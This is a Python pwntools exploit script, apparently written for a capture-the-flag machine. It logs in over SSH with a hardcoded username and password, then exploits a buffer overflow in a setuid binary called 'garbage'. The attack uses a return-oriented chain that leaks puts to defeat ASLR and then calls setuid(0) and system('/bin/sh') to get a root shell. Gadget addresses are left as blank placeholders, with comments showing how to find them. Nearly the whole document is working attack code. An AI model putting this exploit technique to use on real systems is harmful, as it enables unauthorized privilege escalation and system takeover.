from pwn import *

s = ssh(host = '10.10.10.139', user = 'margo', password = 'iamgod$08')
p = s.process('/usr/bin/garbage')
padding = ("A" * 136).encode()
pop_rdi = p64() #ropper --file garbage --search "pop rdi; ret;"
got_puts = p64() #objdump -D garbage | grep puts
plt_puts = p64() #objdump -D garbage | grep puts
plt_main = p64() #objdump -D garbage | grep main

#Get these libc addresses from libc.so.6 for margo user on his computer
#/usr/lib/x86_64-linux-gnu

libc_puts = p64() #readelf -s libc.so.6 | grep puts
libc_system = p64() #readelf -s libc.so.6 | grep system
libc_setuid = p64() #readelf -s libc.so.6 | grep setuid
libc_binsh = p64() #strings -a -t x libc.so.6 | grep /bin/sh

payload_for_leak = padding
#calling main() back so that the program does not crashes
payload_for_leak += pop_rdi + got_puts + plt_puts + plt_main
p.sendline(payload_for_leak)
p.recvuntil("access denied.")
leaked_puts = p.recv()[:8].strip().ljust(8, b'\x00')
log.info(f'Leaked address: {leaked_puts.hex()}')
offset = u64(leaked_puts) - u64(libc_puts)
log.info(f'Offset: {offset}')

system_loc = (u64(libc_system) + offset).to_bytes(8, byteorder = 'little')
setuid_loc = (u64(libc_setuid) + offset).to_bytes(8, byteorder = 'little')
binsh_loc = (u64(libc_binsh) + offset).to_bytes(8, byteorder = 'little')

log.info(f'System: {system_loc.hex()}')
log.info(f'SetUID: {setuid_loc.hex()}')
log.info(f'/bin/sh: {binsh_loc.hex()}')

payload_rce = padding
payload_rce += pop_rdi + p64(0) + setuid_loc
payload_rce += pop_rdi + binsh_loc + system_loc
p.sendline(payload_rce)
p.interactive()
